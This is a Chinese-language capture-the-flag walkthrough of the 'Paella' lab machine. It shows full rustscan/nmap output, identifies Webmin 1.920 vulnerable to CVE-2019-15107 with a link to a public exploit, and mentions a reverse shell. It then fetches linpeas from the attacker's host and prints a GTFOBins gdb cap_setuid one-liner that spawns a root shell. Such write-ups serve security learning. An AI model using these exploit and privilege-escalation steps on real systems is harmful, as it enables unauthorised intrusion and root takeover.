Paella

image

信息搜集

192.168.100.68

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# rustscan -a 192.168.100.68 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Port scanning: Because every port has a story to tell.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.100.68:22
Open 192.168.100.68:10000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.68
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-30 01:40 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:40
Completed NSE at 01:40, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:40
Completed NSE at 01:40, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:40
Completed NSE at 01:40, 0.00s elapsed
Initiating ARP Ping Scan at 01:40
Scanning 192.168.100.68 [1 port]
Completed ARP Ping Scan at 01:40, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:40
Completed Parallel DNS resolution of 1 host. at 01:40, 2.50s elapsed
DNS resolution of 1 IPs took 2.50s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 3, CN: 0]
Initiating SYN Stealth Scan at 01:40
Scanning 192.168.100.68 [2 ports]
Discovered open port 22/tcp on 192.168.100.68
Discovered open port 10000/tcp on 192.168.100.68
Completed SYN Stealth Scan at 01:40, 0.02s elapsed (2 total ports)
Initiating Service scan at 01:40
Scanning 2 services on 192.168.100.68
Completed Service scan at 01:40, 6.06s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.100.68
NSE: Script scanning 192.168.100.68.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:40
NSE Timing: About 99.65% done; ETC: 01:41 (0:00:00 remaining)
Completed NSE at 01:41, 30.02s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:41
Completed NSE at 01:41, 0.06s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Nmap scan report for 192.168.100.68
Host is up, received arp-response (0.00062s latency).
Scanned at 2026-04-30 01:40:27 CST for 38s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey:
| 2048 f7:ac:d4:4b:58:df:a7:4a:ae:86:8c:6c:2b:55:ec:93 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC26Z9MCIRCcvZsf83GQ0xSWCO5DWb8JD7UbGJxTdJzwL5RsFx2uwMFjhXwfFeFkV2g5uAUxzBuSLlQ4CJa0sCJgKrbSgtT0ZhUcZ68aCL/nGC/4oyeRNUhH6UxvDZl1iCXqOuReEYyVlUV/tgzWdpY6e29Wp8rCR4Fny5iC3FPoJTwiPS+ppVk4JZIHoGAH8Psl9ZV9Fva/8meRX7doeanedBgQAc2hBESObU5rLfavbDabZyyUEIw5+8875L3VWr/AX5LR9kczJAakU3WNme6ehtXTSHpCz4t3E7TszHMdOqF6jFodzgWSg4WT56+yxJ4pen0k8ZXHgZyTFuTapiJ
| 256 ea:0b:6f:d3:fb:a4:97:3e:42:64:17:59:e7:04:56:43 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBvrlFt580BpYKVXvT9CAtMKwPNOmq3dphDPdMvnRFQbyo6aiN9SuI3a6YhgDW2o3tO6leltdMaU5btHJWVfFlI=
| 256 d7:03:cb:9b:ff:9f:9c:8c:5c:0d:eb:81:4e:b5:95:40 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMERmU3BrdVC2tojsQJM4hmTjBwLd/tZgJjjqLLcRYri
10000/tcp open http syn-ack ttl 64 MiniServ 1.920 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: 32F9DCE6752A671D0CBD814A6FC15A14
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Login to Webmin
MAC Address: 08:00:27:EF:0E:21 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=4/30%OT=22%CT=%CU=31802%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=69F242B1%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 24.440 days (since Sun Apr 5 15:07:29 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.62 ms 192.168.100.68

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.26 seconds
Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)

  • 22 SSH
  • 10000 HTTP

10000端口是一个webmin的服务

image

这里使用wavely扫描出了一个CVE-2019-15107是一个后门远程代码执行漏洞

https://github.com/MuirlandOracle/CVE-2019-15107

image

反弹shell

image

提权

paella -> root

上传linpeas扫描信息

1
2
3
4
5
6
7
8
9
10
11
12
13
paella@TheHackersLabs-Paella:~$ wget http://192.168.100.21/linpeas.sh
--2026-04-29 20:01:20-- http://192.168.100.21/linpeas.sh
Connecting to 192.168.100.21:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 975444 (953K) [application/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh 100%[==================================================================================>] 952.58K --.-KB/s in 0.008s

2026-04-29 20:01:20 (110 MB/s) - ‘linpeas.sh’ saved [975444/975444]

paella@TheHackersLabs-Paella:~$ chmod +x linpeas.sh
paella@TheHackersLabs-Paella:~$ ./linpeas.sh

image

cap_setuid+ep

在 Linux 中,cap_setuid​ 允许程序操纵进程的 UID。如果 gdb​(GNU 调试器)被赋予了 cap_setuid+ep

  • e (Effective) : 进程在运行时会激活该能力。
  • p (Permitted) : 进程被允许使用该能力。

这意味着 gdb​ 可以在运行时通过内核接口将自己的 UID 更改为任何用户(包括 root),而不需要 SUID 位。由于 gdb 允许执行 shell 命令,等同于直接拿到了 root 权限。

在gtfobins上有方案利用

https://gtfobins.org/gtfobins/gdb/

image

1
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit

image